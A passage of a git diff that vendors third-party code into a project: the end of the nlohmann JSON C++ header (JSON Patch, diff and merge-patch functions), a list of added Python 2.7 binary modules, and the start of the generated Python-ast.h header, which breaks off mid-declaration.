operation_add(ptr, get_value("add", "value", false)); + break; + } + + case patch_operations::remove: + { + operation_remove(ptr); + break; + } + + case patch_operations::replace: + { + // the "path" location must exist - use at() + result.at(ptr) = get_value("replace", "value", false); + break; + } + + case patch_operations::move: + { + const auto from_path = get_value("move", "from", true).template get(); + json_pointer from_ptr(from_path); + + // the "from" location must exist - use at() + basic_json v = result.at(from_ptr); + + // The move operation is functionally identical to a + // "remove" operation on the "from" location, followed + // immediately by an "add" operation at the target + // location with the value that was just removed. + operation_remove(from_ptr); + operation_add(ptr, v); + break; + } + + case patch_operations::copy: + { + const auto from_path = get_value("copy", "from", true).template get(); + const json_pointer from_ptr(from_path); + + // the "from" location must exist - use at() + basic_json v = result.at(from_ptr); + + // The copy is functionally identical to an "add" + // operation at the target location using the value + // specified in the "from" member. + operation_add(ptr, v); + break; + } + + case patch_operations::test: + { + bool success = false; + JSON_TRY + { + // check if "value" matches the one at "path" + // the "path" location must exist - use at() + success = (result.at(ptr) == get_value("test", "value", false)); + } + JSON_INTERNAL_CATCH (out_of_range&) + { + // ignore out of range errors: success remains false + } + + // throw an exception if test fails + if (JSON_HEDLEY_UNLIKELY(!success)) + { + JSON_THROW(other_error::create(501, "unsuccessful: " + val.dump())); + } + + break; + } + + default: + { + // op must be "add", "remove", "replace", "move", "copy", or + // "test" + JSON_THROW(parse_error::create(105, 0, "operation value '" + op + "' is invalid")); + } + } + } + + return result; + } + + /*! + @brief creates a diff as a JSON patch + + Creates a [JSON Patch](http://jsonpatch.com) so that value @a source can + be changed into the value @a target by calling @ref patch function. + + @invariant For two JSON values @a source and @a target, the following code + yields always `true`: + @code {.cpp} + source.patch(diff(source, target)) == target; + @endcode + + @note Currently, only `remove`, `add`, and `replace` operations are + generated. + + @param[in] source JSON value to compare from + @param[in] target JSON value to compare against + @param[in] path helper value to create JSON pointers + + @return a JSON patch to convert the @a source to @a target + + @complexity Linear in the lengths of @a source and @a target. + + @liveexample{The following code shows how a JSON patch is created as a + diff for two JSON values.,diff} + + @sa @ref patch -- apply a JSON patch + @sa @ref merge_patch -- apply a JSON Merge Patch + + @sa [RFC 6902 (JSON Patch)](https://tools.ietf.org/html/rfc6902) + + @since version 2.0.0 + */ + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json diff(const basic_json& source, const basic_json& target, + const std::string& path = "") + { + // the patch + basic_json result(value_t::array); + + // if the values are the same, return empty patch + if (source == target) + { + return result; + } + + if (source.type() != target.type()) + { + // different types: replace value + result.push_back( + { + {"op", "replace"}, {"path", path}, {"value", target} + }); + return result; + } + + switch (source.type()) + { + case value_t::array: + { + // first pass: traverse common elements + std::size_t i = 0; + while (i < source.size() && i < target.size()) + { + // recursive call to compare array values at index i + auto temp_diff = diff(source[i], target[i], path + "/" + std::to_string(i)); + result.insert(result.end(), temp_diff.begin(), temp_diff.end()); + ++i; + } + + // i now reached the end of at least one array + // in a second pass, traverse the remaining elements + + // remove my remaining elements + const auto end_index = static_cast(result.size()); + while (i < source.size()) + { + // add operations in reverse order to avoid invalid + // indices + result.insert(result.begin() + end_index, object( + { + {"op", "remove"}, + {"path", path + "/" + std::to_string(i)} + })); + ++i; + } + + // add other remaining elements + while (i < target.size()) + { + result.push_back( + { + {"op", "add"}, + {"path", path + "/-"}, + {"value", target[i]} + }); + ++i; + } + + break; + } + + case value_t::object: + { + // first pass: traverse this object's elements + for (auto it = source.cbegin(); it != source.cend(); ++it) + { + // escape the key name to be used in a JSON patch + const auto key = json_pointer::escape(it.key()); + + if (target.find(it.key()) != target.end()) + { + // recursive call to compare object values at key it + auto temp_diff = diff(it.value(), target[it.key()], path + "/" + key); + result.insert(result.end(), temp_diff.begin(), temp_diff.end()); + } + else + { + // found a key that is not in o -> remove it + result.push_back(object( + { + {"op", "remove"}, {"path", path + "/" + key} + })); + } + } + + // second pass: traverse other object's elements + for (auto it = target.cbegin(); it != target.cend(); ++it) + { + if (source.find(it.key()) == source.end()) + { + // found a key that is not in this -> add it + const auto key = json_pointer::escape(it.key()); + result.push_back( + { + {"op", "add"}, {"path", path + "/" + key}, + {"value", it.value()} + }); + } + } + + break; + } + + default: + { + // both primitive type: replace value + result.push_back( + { + {"op", "replace"}, {"path", path}, {"value", target} + }); + break; + } + } + + return result; + } + + /// @} + + //////////////////////////////// + // JSON Merge Patch functions // + //////////////////////////////// + + /// @name JSON Merge Patch functions + /// @{ + + /*! + @brief applies a JSON Merge Patch + + The merge patch format is primarily intended for use with the HTTP PATCH + method as a means of describing a set of modifications to a target + resource's content. This function applies a merge patch to the current + JSON value. + + The function implements the following algorithm from Section 2 of + [RFC 7396 (JSON Merge Patch)](https://tools.ietf.org/html/rfc7396): + + ``` + define MergePatch(Target, Patch): + if Patch is an Object: + if Target is not an Object: + Target = {} // Ignore the contents and set it to an empty Object + for each Name/Value pair in Patch: + if Value is null: + if Name exists in Target: + remove the Name/Value pair from Target + else: + Target[Name] = MergePatch(Target[Name], Value) + return Target + else: + return Patch + ``` + + Thereby, `Target` is the current object; that is, the patch is applied to + the current value. + + @param[in] apply_patch the patch to apply + + @complexity Linear in the lengths of @a patch. + + @liveexample{The following code shows how a JSON Merge Patch is applied to + a JSON document.,merge_patch} + + @sa @ref patch -- apply a JSON patch + @sa [RFC 7396 (JSON Merge Patch)](https://tools.ietf.org/html/rfc7396) + + @since version 3.0.0 + */ + void merge_patch(const basic_json& apply_patch) + { + if (apply_patch.is_object()) + { + if (!is_object()) + { + *this = object(); + } + for (auto it = apply_patch.begin(); it != apply_patch.end(); ++it) + { + if (it.value().is_null()) + { + erase(it.key()); + } + else + { + operator[](it.key()).merge_patch(it.value()); + } + } + } + else + { + *this = apply_patch; + } + } + + /// @} +}; + +/*! +@brief user-defined to_string function for JSON values + +This function implements a user-defined to_string for JSON objects. + +@param[in] j a JSON object +@return a std::string object +*/ + +NLOHMANN_BASIC_JSON_TPL_DECLARATION +std::string to_string(const NLOHMANN_BASIC_JSON_TPL& j) +{ + return j.dump(); +} +} // namespace nlohmann + +/////////////////////// +// nonmember support // +/////////////////////// + +// specialization of std::swap, and std::hash +namespace std +{ + +/// hash value for JSON objects +template<> +struct hash +{ + /*! + @brief return a hash value for a JSON object + + @since version 1.0.0 + */ + std::size_t operator()(const nlohmann::json& j) const + { + return nlohmann::detail::hash(j); + } +}; + +/// specialization for std::less +/// @note: do not remove the space after '<', +/// see https://github.com/nlohmann/json/pull/679 +template<> +struct less<::nlohmann::detail::value_t> +{ + /*! + @brief compare two value_t enum values + @since version 3.0.0 + */ + bool operator()(nlohmann::detail::value_t lhs, + nlohmann::detail::value_t rhs) const noexcept + { + return nlohmann::detail::operator<(lhs, rhs); + } +}; + +// C++20 prohibit function specialization in the std namespace. +#ifndef JSON_HAS_CPP_20 + +/*! +@brief exchanges the values of two JSON objects + +@since version 1.0.0 +*/ +template<> +inline void swap(nlohmann::json& j1, nlohmann::json& j2) noexcept( + is_nothrow_move_constructible::value&& + is_nothrow_move_assignable::value + ) +{ + j1.swap(j2); +} + +#endif + +} // namespace std + +/*! +@brief user-defined string literal for JSON values + +This operator implements a user-defined string literal for JSON objects. It +can be used by adding `"_json"` to a string literal and returns a JSON object +if no parse error occurred. + +@param[in] s a string representation of a JSON object +@param[in] n the length of string @a s +@return a JSON object + +@since version 1.0.0 +*/ +JSON_HEDLEY_NON_NULL(1) +inline nlohmann::json operator "" _json(const char* s, std::size_t n) +{ + return nlohmann::json::parse(s, s + n); +} + +/*! +@brief user-defined string literal for JSON pointer + +This operator implements a user-defined string literal for JSON Pointers. It +can be used by adding `"_json_pointer"` to a string literal and returns a JSON pointer +object if no parse error occurred. + +@param[in] s a string representation of a JSON Pointer +@param[in] n the length of string @a s +@return a JSON pointer object + +@since version 2.0.0 +*/ +JSON_HEDLEY_NON_NULL(1) +inline nlohmann::json::json_pointer operator "" _json_pointer(const char* s, std::size_t n) +{ + return nlohmann::json::json_pointer(std::string(s, n)); +} + +// #include + + +// restore GCC/clang diagnostic settings +#if defined(__clang__) || defined(__GNUC__) || defined(__GNUG__) + #pragma GCC diagnostic pop +#endif +#if defined(__clang__) + #pragma GCC diagnostic pop +#endif + +// clean up +#undef JSON_ASSERT +#undef JSON_INTERNAL_CATCH +#undef JSON_CATCH +#undef JSON_THROW +#undef JSON_TRY +#undef JSON_PRIVATE_UNLESS_TESTED +#undef JSON_HAS_CPP_14 +#undef JSON_HAS_CPP_17 +#undef NLOHMANN_BASIC_JSON_TPL_DECLARATION +#undef NLOHMANN_BASIC_JSON_TPL +#undef JSON_EXPLICIT + +// #include +#undef JSON_HEDLEY_ALWAYS_INLINE +#undef JSON_HEDLEY_ARM_VERSION +#undef JSON_HEDLEY_ARM_VERSION_CHECK +#undef JSON_HEDLEY_ARRAY_PARAM +#undef JSON_HEDLEY_ASSUME +#undef JSON_HEDLEY_BEGIN_C_DECLS +#undef JSON_HEDLEY_CLANG_HAS_ATTRIBUTE +#undef JSON_HEDLEY_CLANG_HAS_BUILTIN +#undef JSON_HEDLEY_CLANG_HAS_CPP_ATTRIBUTE +#undef JSON_HEDLEY_CLANG_HAS_DECLSPEC_DECLSPEC_ATTRIBUTE +#undef JSON_HEDLEY_CLANG_HAS_EXTENSION +#undef JSON_HEDLEY_CLANG_HAS_FEATURE +#undef JSON_HEDLEY_CLANG_HAS_WARNING +#undef JSON_HEDLEY_COMPCERT_VERSION +#undef JSON_HEDLEY_COMPCERT_VERSION_CHECK +#undef JSON_HEDLEY_CONCAT +#undef JSON_HEDLEY_CONCAT3 +#undef JSON_HEDLEY_CONCAT3_EX +#undef JSON_HEDLEY_CONCAT_EX +#undef JSON_HEDLEY_CONST +#undef JSON_HEDLEY_CONSTEXPR +#undef JSON_HEDLEY_CONST_CAST +#undef JSON_HEDLEY_CPP_CAST +#undef JSON_HEDLEY_CRAY_VERSION +#undef JSON_HEDLEY_CRAY_VERSION_CHECK +#undef JSON_HEDLEY_C_DECL +#undef JSON_HEDLEY_DEPRECATED +#undef JSON_HEDLEY_DEPRECATED_FOR +#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL +#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_ +#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED +#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES +#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS +#undef JSON_HEDLEY_DIAGNOSTIC_POP +#undef JSON_HEDLEY_DIAGNOSTIC_PUSH +#undef JSON_HEDLEY_DMC_VERSION +#undef JSON_HEDLEY_DMC_VERSION_CHECK +#undef JSON_HEDLEY_EMPTY_BASES +#undef JSON_HEDLEY_EMSCRIPTEN_VERSION +#undef JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK +#undef JSON_HEDLEY_END_C_DECLS +#undef JSON_HEDLEY_FLAGS +#undef JSON_HEDLEY_FLAGS_CAST +#undef JSON_HEDLEY_GCC_HAS_ATTRIBUTE +#undef JSON_HEDLEY_GCC_HAS_BUILTIN +#undef JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE +#undef JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE +#undef JSON_HEDLEY_GCC_HAS_EXTENSION +#undef JSON_HEDLEY_GCC_HAS_FEATURE +#undef JSON_HEDLEY_GCC_HAS_WARNING +#undef JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK +#undef JSON_HEDLEY_GCC_VERSION +#undef JSON_HEDLEY_GCC_VERSION_CHECK +#undef JSON_HEDLEY_GNUC_HAS_ATTRIBUTE +#undef JSON_HEDLEY_GNUC_HAS_BUILTIN +#undef JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE +#undef JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE +#undef JSON_HEDLEY_GNUC_HAS_EXTENSION +#undef JSON_HEDLEY_GNUC_HAS_FEATURE +#undef JSON_HEDLEY_GNUC_HAS_WARNING +#undef JSON_HEDLEY_GNUC_VERSION +#undef JSON_HEDLEY_GNUC_VERSION_CHECK +#undef JSON_HEDLEY_HAS_ATTRIBUTE +#undef JSON_HEDLEY_HAS_BUILTIN +#undef JSON_HEDLEY_HAS_CPP_ATTRIBUTE +#undef JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS +#undef JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE +#undef JSON_HEDLEY_HAS_EXTENSION +#undef JSON_HEDLEY_HAS_FEATURE +#undef JSON_HEDLEY_HAS_WARNING +#undef JSON_HEDLEY_IAR_VERSION +#undef JSON_HEDLEY_IAR_VERSION_CHECK +#undef JSON_HEDLEY_IBM_VERSION +#undef JSON_HEDLEY_IBM_VERSION_CHECK +#undef JSON_HEDLEY_IMPORT +#undef JSON_HEDLEY_INLINE +#undef JSON_HEDLEY_INTEL_CL_VERSION +#undef JSON_HEDLEY_INTEL_CL_VERSION_CHECK +#undef JSON_HEDLEY_INTEL_VERSION +#undef JSON_HEDLEY_INTEL_VERSION_CHECK +#undef JSON_HEDLEY_IS_CONSTANT +#undef JSON_HEDLEY_IS_CONSTEXPR_ +#undef JSON_HEDLEY_LIKELY +#undef JSON_HEDLEY_MALLOC +#undef JSON_HEDLEY_MESSAGE +#undef JSON_HEDLEY_MSVC_VERSION +#undef JSON_HEDLEY_MSVC_VERSION_CHECK +#undef JSON_HEDLEY_NEVER_INLINE +#undef JSON_HEDLEY_NON_NULL +#undef JSON_HEDLEY_NO_ESCAPE +#undef JSON_HEDLEY_NO_RETURN +#undef JSON_HEDLEY_NO_THROW +#undef JSON_HEDLEY_NULL +#undef JSON_HEDLEY_PELLES_VERSION +#undef JSON_HEDLEY_PELLES_VERSION_CHECK +#undef JSON_HEDLEY_PGI_VERSION +#undef JSON_HEDLEY_PGI_VERSION_CHECK +#undef JSON_HEDLEY_PREDICT +#undef JSON_HEDLEY_PRINTF_FORMAT +#undef JSON_HEDLEY_PRIVATE +#undef JSON_HEDLEY_PUBLIC +#undef JSON_HEDLEY_PURE +#undef JSON_HEDLEY_REINTERPRET_CAST +#undef JSON_HEDLEY_REQUIRE +#undef JSON_HEDLEY_REQUIRE_CONSTEXPR +#undef JSON_HEDLEY_REQUIRE_MSG +#undef JSON_HEDLEY_RESTRICT +#undef JSON_HEDLEY_RETURNS_NON_NULL +#undef JSON_HEDLEY_SENTINEL +#undef JSON_HEDLEY_STATIC_ASSERT +#undef JSON_HEDLEY_STATIC_CAST +#undef JSON_HEDLEY_STRINGIFY +#undef JSON_HEDLEY_STRINGIFY_EX +#undef JSON_HEDLEY_SUNPRO_VERSION +#undef JSON_HEDLEY_SUNPRO_VERSION_CHECK +#undef JSON_HEDLEY_TINYC_VERSION +#undef JSON_HEDLEY_TINYC_VERSION_CHECK +#undef JSON_HEDLEY_TI_ARMCL_VERSION +#undef JSON_HEDLEY_TI_ARMCL_VERSION_CHECK +#undef JSON_HEDLEY_TI_CL2000_VERSION +#undef JSON_HEDLEY_TI_CL2000_VERSION_CHECK +#undef JSON_HEDLEY_TI_CL430_VERSION +#undef JSON_HEDLEY_TI_CL430_VERSION_CHECK +#undef JSON_HEDLEY_TI_CL6X_VERSION +#undef JSON_HEDLEY_TI_CL6X_VERSION_CHECK +#undef JSON_HEDLEY_TI_CL7X_VERSION +#undef JSON_HEDLEY_TI_CL7X_VERSION_CHECK +#undef JSON_HEDLEY_TI_CLPRU_VERSION +#undef JSON_HEDLEY_TI_CLPRU_VERSION_CHECK +#undef JSON_HEDLEY_TI_VERSION +#undef JSON_HEDLEY_TI_VERSION_CHECK +#undef JSON_HEDLEY_UNAVAILABLE +#undef JSON_HEDLEY_UNLIKELY +#undef JSON_HEDLEY_UNPREDICTABLE +#undef JSON_HEDLEY_UNREACHABLE +#undef JSON_HEDLEY_UNREACHABLE_RETURN +#undef JSON_HEDLEY_VERSION +#undef JSON_HEDLEY_VERSION_DECODE_MAJOR +#undef JSON_HEDLEY_VERSION_DECODE_MINOR +#undef JSON_HEDLEY_VERSION_DECODE_REVISION +#undef JSON_HEDLEY_VERSION_ENCODE +#undef JSON_HEDLEY_WARNING +#undef JSON_HEDLEY_WARN_UNUSED_RESULT +#undef JSON_HEDLEY_WARN_UNUSED_RESULT_MSG +#undef JSON_HEDLEY_FALL_THROUGH + + + +#endif // INCLUDE_NLOHMANN_JSON_HPP_ diff --git a/Extern/include/Python27/DLLs/_bsddb.pyd b/Extern/include/Python27/DLLs/_bsddb.pyd new file mode 100644 index 0000000..99408cf Binary files /dev/null and b/Extern/include/Python27/DLLs/_bsddb.pyd differ diff --git a/Extern/include/Python27/DLLs/_ctypes.pyd b/Extern/include/Python27/DLLs/_ctypes.pyd new file mode 100644 index 0000000..96defe6 Binary files /dev/null and b/Extern/include/Python27/DLLs/_ctypes.pyd differ diff --git a/Extern/include/Python27/DLLs/_ctypes_test.pyd b/Extern/include/Python27/DLLs/_ctypes_test.pyd new file mode 100644 index 0000000..b368301 Binary files /dev/null and b/Extern/include/Python27/DLLs/_ctypes_test.pyd differ diff --git a/Extern/include/Python27/DLLs/_elementtree.pyd b/Extern/include/Python27/DLLs/_elementtree.pyd new file mode 100644 index 0000000..6701a89 Binary files /dev/null and b/Extern/include/Python27/DLLs/_elementtree.pyd differ diff --git a/Extern/include/Python27/DLLs/_hashlib.pyd b/Extern/include/Python27/DLLs/_hashlib.pyd new file mode 100644 index 0000000..71b951b Binary files /dev/null and b/Extern/include/Python27/DLLs/_hashlib.pyd differ diff --git a/Extern/include/Python27/DLLs/_msi.pyd b/Extern/include/Python27/DLLs/_msi.pyd new file mode 100644 index 0000000..c33fb22 Binary files /dev/null and b/Extern/include/Python27/DLLs/_msi.pyd differ diff --git a/Extern/include/Python27/DLLs/_multiprocessing.pyd b/Extern/include/Python27/DLLs/_multiprocessing.pyd new file mode 100644 index 0000000..712df02 Binary files /dev/null and b/Extern/include/Python27/DLLs/_multiprocessing.pyd differ diff --git a/Extern/include/Python27/DLLs/_socket.pyd b/Extern/include/Python27/DLLs/_socket.pyd new file mode 100644 index 0000000..40bd52c Binary files /dev/null and b/Extern/include/Python27/DLLs/_socket.pyd differ diff --git a/Extern/include/Python27/DLLs/_sqlite3.pyd b/Extern/include/Python27/DLLs/_sqlite3.pyd new file mode 100644 index 0000000..a7ff1ae Binary files /dev/null and b/Extern/include/Python27/DLLs/_sqlite3.pyd differ diff --git a/Extern/include/Python27/DLLs/_ssl.pyd b/Extern/include/Python27/DLLs/_ssl.pyd new file mode 100644 index 0000000..3747c23 Binary files /dev/null and b/Extern/include/Python27/DLLs/_ssl.pyd differ diff --git a/Extern/include/Python27/DLLs/_testcapi.pyd b/Extern/include/Python27/DLLs/_testcapi.pyd new file mode 100644 index 0000000..81e0410 Binary files /dev/null and b/Extern/include/Python27/DLLs/_testcapi.pyd differ diff --git a/Extern/include/Python27/DLLs/_tkinter.pyd b/Extern/include/Python27/DLLs/_tkinter.pyd new file mode 100644 index 0000000..e205570 Binary files /dev/null and b/Extern/include/Python27/DLLs/_tkinter.pyd differ diff --git a/Extern/include/Python27/DLLs/bz2.pyd b/Extern/include/Python27/DLLs/bz2.pyd new file mode 100644 index 0000000..5e46a96 Binary files /dev/null and b/Extern/include/Python27/DLLs/bz2.pyd differ diff --git a/Extern/include/Python27/DLLs/py.ico b/Extern/include/Python27/DLLs/py.ico new file mode 100644 index 0000000..3357aef Binary files /dev/null and b/Extern/include/Python27/DLLs/py.ico differ diff --git a/Extern/include/Python27/DLLs/pyc.ico b/Extern/include/Python27/DLLs/pyc.ico new file mode 100644 index 0000000..f7bd2b1 Binary files /dev/null and b/Extern/include/Python27/DLLs/pyc.ico differ diff --git a/Extern/include/Python27/DLLs/pyexpat.pyd b/Extern/include/Python27/DLLs/pyexpat.pyd new file mode 100644 index 0000000..d9ebb5a Binary files /dev/null and b/Extern/include/Python27/DLLs/pyexpat.pyd differ diff --git a/Extern/include/Python27/DLLs/select.pyd b/Extern/include/Python27/DLLs/select.pyd new file mode 100644 index 0000000..8073d9b Binary files /dev/null and b/Extern/include/Python27/DLLs/select.pyd differ diff --git a/Extern/include/Python27/DLLs/sqlite3.dll b/Extern/include/Python27/DLLs/sqlite3.dll new file mode 100644 index 0000000..325bf52 Binary files /dev/null and b/Extern/include/Python27/DLLs/sqlite3.dll differ diff --git a/Extern/include/Python27/DLLs/tcl85.dll b/Extern/include/Python27/DLLs/tcl85.dll new file mode 100644 index 0000000..3d81a2f Binary files /dev/null and b/Extern/include/Python27/DLLs/tcl85.dll differ diff --git a/Extern/include/Python27/DLLs/tclpip85.dll b/Extern/include/Python27/DLLs/tclpip85.dll new file mode 100644 index 0000000..d9b9bbc Binary files /dev/null and b/Extern/include/Python27/DLLs/tclpip85.dll differ diff --git a/Extern/include/Python27/DLLs/tk85.dll b/Extern/include/Python27/DLLs/tk85.dll new file mode 100644 index 0000000..163c2a3 Binary files /dev/null and b/Extern/include/Python27/DLLs/tk85.dll differ diff --git a/Extern/include/Python27/DLLs/unicodedata.pyd b/Extern/include/Python27/DLLs/unicodedata.pyd new file mode 100644 index 0000000..94a0c7f Binary files /dev/null and b/Extern/include/Python27/DLLs/unicodedata.pyd differ diff --git a/Extern/include/Python27/DLLs/winsound.pyd b/Extern/include/Python27/DLLs/winsound.pyd new file mode 100644 index 0000000..a38586e Binary files /dev/null and b/Extern/include/Python27/DLLs/winsound.pyd differ diff --git a/Extern/include/Python27/Doc/python27.chm b/Extern/include/Python27/Doc/python27.chm new file mode 100644 index 0000000..80af9d0 Binary files /dev/null and b/Extern/include/Python27/Doc/python27.chm differ diff --git a/Extern/include/Python27/Python-ast.h b/Extern/include/Python27/Python-ast.h new file mode 100644 index 0000000..3f35bbb --- /dev/null +++ b/Extern/include/Python27/Python-ast.h @@ -0,0 +1,535 @@ +/* File automatically generated by Parser/asdl_c.py. */ + +#include "asdl.h" + +typedef struct _mod *mod_ty; + +typedef struct _stmt *stmt_ty; + +typedef struct _expr *expr_ty; + +typedef enum _expr_context { Load=1, Store=2, Del=3, AugLoad=4, AugStore=5, + Param=6 } expr_context_ty; + +typedef struct _slice *slice_ty; + +typedef enum _boolop { And=1, Or=2 } boolop_ty; + +typedef enum _operator { Add=1, Sub=2, Mult=3, Div=4, Mod=5, Pow=6, LShift=7, + RShift=8, BitOr=9, BitXor=10, BitAnd=11, FloorDiv=12 } + operator_ty; + +typedef enum _unaryop { Invert=1, Not=2, UAdd=3, USub=4 } unaryop_ty; + +typedef enum _cmpop { Eq=1, NotEq=2, Lt=3, LtE=4, Gt=5, GtE=6, Is=7, IsNot=8, + In=9, NotIn=10 } cmpop_ty; + +typedef struct _comprehension *comprehension_ty; + +typedef struct _excepthandler *excepthandler_ty; + +typedef struct _arguments *arguments_ty; + +typedef struct _keyword *keyword_ty; + +typedef struct _alias *alias_ty; + + +enum _mod_kind {Module_kind=1, Interactive_kind=2, Expression_kind=3, + Suite_kind=4}; +struct _mod { + enum _mod_kind kind; + union { + struct { + asdl_seq *body; + } Module; + + struct { + asdl_seq *body; + } Interactive; + + struct { + expr_ty body; + } Expression; + + struct { + asdl_seq *body; + } Suite; + + } v; +}; + +enum _stmt_kind {FunctionDef_kind=1, ClassDef_kind=2, Return_kind=3, + Delete_kind=4, Assign_kind=5, AugAssign_kind=6, Print_kind=7, + For_kind=8, While_kind=9, If_kind=10, With_kind=11, + Raise_kind=12, TryExcept_kind=13, TryFinally_kind=14, + Assert_kind=15, Import_kind=16, ImportFrom_kind=17, + Exec_kind=18, Global_kind=19, Expr_kind=20, Pass_kind=21, + Break_kind=22, Continue_kind=23}; +struct _stmt { + enum _stmt_kind kind; + union { + struct { + identifier name; + arguments_ty args; + asdl_seq *body; + asdl_seq *decorator_list; + } FunctionDef; + + struct { + identifier name; + asdl_seq *bases; + asdl_seq *body; + asdl_seq *decorator_list; + } ClassDef; + + struct { + expr_ty value; + } Return; + + struct { + asdl_seq *targets; + } Delete; + + struct { + asdl_seq *targets; + expr_ty value; + } Assign; + + struct { + expr_ty target; + operator_ty op; + expr_ty value; + } AugAssign; + + struct { + expr_ty dest; + asdl_seq *values; + bool nl; + } Print; + + struct { + expr_ty target; + expr_ty iter; + asdl_seq *body; + asdl_seq *orelse; + } For; + + struct { + expr_ty test; + asdl_seq *body; + asdl_seq *orelse; + } While; + + struct { + expr_ty test; + asdl_seq *body; + asdl_seq *orelse; + } If; + + struct { + expr_ty context_expr; + expr_ty optional_vars; + asdl_seq *body; + } With; + + struct { + expr_ty type; + expr_ty inst; + expr_ty tback; + } Raise; + + struct { + asdl_seq *body; + asdl_seq *handlers; + asdl_seq *orelse; + } TryExcept; + + struct { + asdl_seq *body; + asdl_seq *finalbody; + } TryFinally; + + struct { + expr_ty test; + expr_ty msg; + } Assert; + + struct { + asdl_seq *names; + } Import; + + struct { + identifier module; + asdl_seq *names; + int level; + } ImportFrom; + + struct { + expr_ty body; + expr_ty globals; + expr_ty locals; + } Exec; + + struct { + asdl_seq *names; + } Global; + + struct { + expr_ty value; + } Expr; + + } v; + int lineno; + int col_offset; +}; + +enum _expr_kind {BoolOp_kind=1, BinOp_kind=2, UnaryOp_kind=3, Lambda_kind=4, + IfExp_kind=5, Dict_kind=6, Set_kind=7, ListComp_kind=8, + SetComp_kind=9, DictComp_kind=10, GeneratorExp_kind=11, + Yield_kind=12, Compare_kind=13, Call_kind=14, Repr_kind=15, + Num_kind=16, Str_kind=17, Attribute_kind=18, + Subscript_kind=19, Name_kind=20, List_kind=21, Tuple_kind=22}; +struct _expr { + enum _expr_kind kind; + union { + struct { + boolop_ty op; + asdl_seq *values; + } BoolOp; + + struct { + expr_ty left; + operator_ty op; + expr_ty right; + } BinOp; + + struct { + unaryop_ty op; + expr_ty operand; + } UnaryOp; + + struct { + arguments_ty args; + expr_ty body; + } Lambda; + + struct { + expr_ty test; + expr_ty body; + expr_ty orelse; + } IfExp; + + struct { + asdl_seq *keys; + asdl_seq *values; + } Dict; + + struct { + asdl_seq *elts; + } Set; + + struct { + expr_ty elt; + asdl_seq *generators; + } ListComp; + + struct { + expr_ty elt; + asdl_seq *generators; + } SetComp; + + struct { + expr_ty key; + expr_ty value; + asdl_seq *generators; + } DictComp; + + struct { + expr_ty elt; + asdl_seq *generators; + } GeneratorExp; + + struct { + expr_ty value; + } Yield; + + struct { + expr_ty left; + asdl_int_seq *ops; + asdl_seq *comparators; + } Compare; + + struct { + expr_ty func; + asdl_seq *args; + asdl_seq *keywords; + expr_ty starargs; + expr_ty kwargs; + } Call; + + struct { + expr_ty value; + } Repr; + + struct { + object n; + } Num; + + struct { + string s; + } Str; + + struct { + expr_ty value; + identifier attr; + expr_context_ty ctx; + } Attribute; + + struct { + expr_ty value; + slice_ty slice; + expr_context_ty ctx; + } Subscript; + + struct { + identifier id; + expr_context_ty ctx; + } Name; + + struct { + asdl_seq *elts; + expr_context_ty ctx; + } List; + + struct { + asdl_seq *elts; + expr_context_ty ctx; + } Tuple; + + } v; + int lineno; + int col_offset; +}; + +enum _slice_kind {Ellipsis_kind=1, Slice_kind=2, ExtSlice_kind=3, Index_kind=4}; +struct _slice { + enum _slice_kind kind; + union { + struct { + expr_ty lower; + expr_ty upper; + expr_ty step; + } Slice; + + struct { + asdl_seq *dims; + } ExtSlice; + + struct { + expr_ty value; + } Index; + + } v; +}; + +struct _comprehension { + expr_ty target; + expr_ty iter; + asdl_seq *ifs; +}; + +enum _excepthandler_kind {ExceptHandler_kind=1}; +struct _excepthandler { + enum _excepthandler_kind kind; + union { + struct { + expr_ty type; + expr_ty name; + asdl_seq *body; + } ExceptHandler; + + } v; + int lineno; + int col_offset; +}; + +struct _arguments { + asdl_seq *args; + identifier vararg; + identifier kwarg; + asdl_seq *defaults; +}; + +struct _keyword { + identifier arg; + expr_ty value; +}; + +struct _alias { + identifier name; + identifier asname; +}; + + +#define Module(a0, a1) _Py_Module(a0, a1) +mod_ty _Py_Module(asdl_seq * body, PyArena *arena); +#define Interactive(a0, a1) _Py_Interactive(a0, a1) +mod_ty _Py_Interactive(asdl_seq * body, PyArena *arena); +#define Expression(a0, a1) _Py_Expression(a0, a1) +mod_ty _Py_Expression(expr_ty body, PyArena *arena); +#define Suite(a0, a1) _Py_Suite(a0, a1) +mod_ty _Py_Suite(asdl_seq * body, PyArena *arena); +#define FunctionDef(a0, a1, a2, a3, a4, a5, a6) _Py_FunctionDef(a0, a1, a2, a3, a4, a5, a6) +stmt_ty _Py_FunctionDef(identifier name, arguments_ty args, asdl_seq * body, + asdl_seq * decorator_list, int lineno, int col_offset, + PyArena *arena); +#define ClassDef(a0, a1, a2, a3, a4, a5, a6) _Py_ClassDef(a0, a1, a2, a3, a4, a5, a6) +stmt_ty _Py_ClassDef(identifier name, asdl_seq * bases, asdl_seq * body, + asdl_seq * decorator_list, int lineno, int col_offset, + PyArena *arena); +#define Return(a0, a1, a2, a3) _Py_Return(a0, a1, a2, a3) +stmt_ty _Py_Return(expr_ty value, int lineno, int col_offset, PyArena *arena); +#define Delete(a0, a1, a2, a3) _Py_Delete(a0, a1, a2, a3) +stmt_ty _Py_Delete(asdl_seq * targets, int lineno, int col_offset, PyArena + *arena); +#define Assign(a0, a1, a2, a3, a4) _Py_Assign(a0, a1, a2, a3, a4) +stmt_ty _Py_Assign(asdl_seq * targets, expr_ty value, int lineno, int + col_offset, PyArena *arena); +#define AugAssign(a0, a1, a2, a3, a4, a5) _Py_AugAssign(a0, a1, a2, a3, a4, a5) +stmt_ty _Py_AugAssign(expr_ty target, operator_ty op, expr_ty value, int + lineno, int col_offset, PyArena *arena); +#define Print(a0, a1, a2, a3, a4, a5) _Py_Print(a0, a1, a2, a3, a4, 